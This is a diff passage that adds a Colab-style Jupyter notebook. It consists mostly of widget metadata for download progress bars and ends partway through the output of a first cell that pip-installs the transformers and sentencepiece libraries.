+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "a90f8f8132f047e8a69d1f6425bb5631": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HBoxView",
+            "_dom_classes": [],
+            "_model_name": "HBoxModel",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "box_style": "",
+            "layout": "IPY_MODEL_b7af650e9e7a429fbc0b72b0a2b86d9f",
+            "_model_module": "@jupyter-widgets/controls",
+            "children": [
+              "IPY_MODEL_24e46b4c68f646cea183a68390f3af8c",
+              "IPY_MODEL_0da6da23b2974ff9948536a3b34e4f55",
+              "IPY_MODEL_fa58681afc7b4eca88dff0912cc62fe8"
+            ]
+          }
+        },
+        "b7af650e9e7a429fbc0b72b0a2b86d9f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "24e46b4c68f646cea183a68390f3af8c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HTMLView",
+            "style": "IPY_MODEL_3ce811726f98442593d3a67e2ca1d548",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "HTMLModel",
+            "placeholder": "",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": "Downloading: 100%",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_0693368adfe349cd975f36ad98d13dea"
+          }
+        },
+        "0da6da23b2974ff9948536a3b34e4f55": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "ProgressView",
+            "style": "IPY_MODEL_c652754b90b2492fa3094e2201dc8bd6",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "FloatProgressModel",
+            "bar_style": "success",
+            "max": 768489,
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": 768489,
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "orientation": "horizontal",
+            "min": 0,
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_443bbb852eb44a018995132f4538239a"
+          }
+        },
+        "fa58681afc7b4eca88dff0912cc62fe8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HTMLView",
+            "style": "IPY_MODEL_d6a1f69cd7104f0081887a439a7deb96",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "HTMLModel",
+            "placeholder": "",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": " 750k/750k [00:00<00:00, 2.06MB/s]",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_0b66ebebbd2f41e08c3d764813971dce"
+          }
+        },
+        "3ce811726f98442593d3a67e2ca1d548": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "DescriptionStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "0693368adfe349cd975f36ad98d13dea": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "c652754b90b2492fa3094e2201dc8bd6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "ProgressStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "bar_color": null,
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "443bbb852eb44a018995132f4538239a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "d6a1f69cd7104f0081887a439a7deb96": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "DescriptionStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "0b66ebebbd2f41e08c3d764813971dce": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "e770bb0d629e4d94abb60203e8482f12": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HBoxView",
+            "_dom_classes": [],
+            "_model_name": "HBoxModel",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "box_style": "",
+            "layout": "IPY_MODEL_77815b9ee238491ebda08636307ee0da",
+            "_model_module": "@jupyter-widgets/controls",
+            "children": [
+              "IPY_MODEL_e2acf510c8d841cb8ee025f2b8fe9cbe",
+              "IPY_MODEL_e7cf4e18ebd24de0a939b514de23d143",
+              "IPY_MODEL_556eb46d019e4ea2802be0dea572f88f"
+            ]
+          }
+        },
+        "77815b9ee238491ebda08636307ee0da": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "e2acf510c8d841cb8ee025f2b8fe9cbe": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HTMLView",
+            "style": "IPY_MODEL_d806b0124be445b9ad9f4849c5b30dd4",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "HTMLModel",
+            "placeholder": "",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": "Downloading: 100%",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_f658e5f47ad544ba90e78f27c8fb098e"
+          }
+        },
+        "e7cf4e18ebd24de0a939b514de23d143": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "ProgressView",
+            "style": "IPY_MODEL_76e224f6a8474f2782aaed27a5a4df74",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "FloatProgressModel",
+            "bar_style": "success",
+            "max": 796845,
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": 796845,
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "orientation": "horizontal",
+            "min": 0,
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_3937370dc31748a382f6e610585534d3"
+          }
+        },
+        "556eb46d019e4ea2802be0dea572f88f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HTMLView",
+            "style": "IPY_MODEL_d481874811ca4585b3becf6acc12f71d",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "HTMLModel",
+            "placeholder": "",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": " 778k/778k [00:00<00:00, 7.02MB/s]",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_bf6ed5073ad2448e96463ea126d406c7"
+          }
+        },
+        "d806b0124be445b9ad9f4849c5b30dd4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "DescriptionStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "f658e5f47ad544ba90e78f27c8fb098e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "76e224f6a8474f2782aaed27a5a4df74": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "ProgressStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "bar_color": null,
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "3937370dc31748a382f6e610585534d3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "d481874811ca4585b3becf6acc12f71d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "DescriptionStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "bf6ed5073ad2448e96463ea126d406c7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "d8ca8a733c8c4742a213faf75d0d74dd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HBoxView",
+            "_dom_classes": [],
+            "_model_name": "HBoxModel",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "box_style": "",
+            "layout": "IPY_MODEL_362c95c02cf34d1788ae73443d674782",
+            "_model_module": "@jupyter-widgets/controls",
+            "children": [
+              "IPY_MODEL_1344a76df2f6425ead2bf254d5855846",
+              "IPY_MODEL_295e356b56f8455a9d070c3200b901d5",
+              "IPY_MODEL_fee238f6fd934cbfa41472196be2f014"
+            ]
+          }
+        },
+        "362c95c02cf34d1788ae73443d674782": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "1344a76df2f6425ead2bf254d5855846": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HTMLView",
+            "style": "IPY_MODEL_8582a4473044420a9ce31630988bdd99",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "HTMLModel",
+            "placeholder": "",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": "Downloading: 100%",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_53789f8fbe274269be06bf2d1ce8ee08"
+          }
+        },
+        "295e356b56f8455a9d070c3200b901d5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "ProgressView",
+            "style": "IPY_MODEL_71357c83f3d945638d4a3d2050c48bb4",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "FloatProgressModel",
+            "bar_style": "success",
+            "max": 1273232,
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": 1273232,
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "orientation": "horizontal",
+            "min": 0,
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_5acc31388b644823a086bb033eb98c05"
+          }
+        },
+        "fee238f6fd934cbfa41472196be2f014": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HTMLView",
+            "style": "IPY_MODEL_a90d42c930fb4fcc91a9045cbb21cda2",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "HTMLModel",
+            "placeholder": "",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": " 1.21M/1.21M [00:00<00:00, 6.23MB/s]",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_d79410065a6a480191b7e84384e6786a"
+          }
+        },
+        "8582a4473044420a9ce31630988bdd99": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "DescriptionStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "53789f8fbe274269be06bf2d1ce8ee08": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "71357c83f3d945638d4a3d2050c48bb4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "ProgressStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "bar_color": null,
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "5acc31388b644823a086bb033eb98c05": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "a90d42c930fb4fcc91a9045cbb21cda2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "DescriptionStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "d79410065a6a480191b7e84384e6786a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        }
+      }
+    }
+  },
+  "cells": [
+    {
+      "cell_type": "code",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "Vy33spUDl6PY",
+        "outputId": "9b36a775-216c-4891-be40-6540af80fc4a"
+      },
+      "source": [
+        "!pip install transformers==4.12.4 sentencepiece"
+      ],
+      "execution_count": 1,
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "Collecting transformers==4.12.4\n",
+            "  Downloading transformers-4.12.4-py3-none-any.whl (3.1 MB)\n",
+            "\u001b[K     |████████████████████████████████| 3.1 MB 39.3 MB/s \n",
+            "\u001b[?25hCollecting sentencepiece\n",
+            "  Downloading sentencepiece-0.1.96-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.2 MB)\n",
+            "\u001b[K     |████████████████████████████████| 1.2 MB 53.1 MB/s \n",
+            "\u001b[?25hRequirement already satisfied: requests in /usr/local/lib/python3.7/dist-packages (from transformers==4.12.4) (2.23.0)\n",
+            "Collecting tokenizers<0.11,>=0.10.1\n",
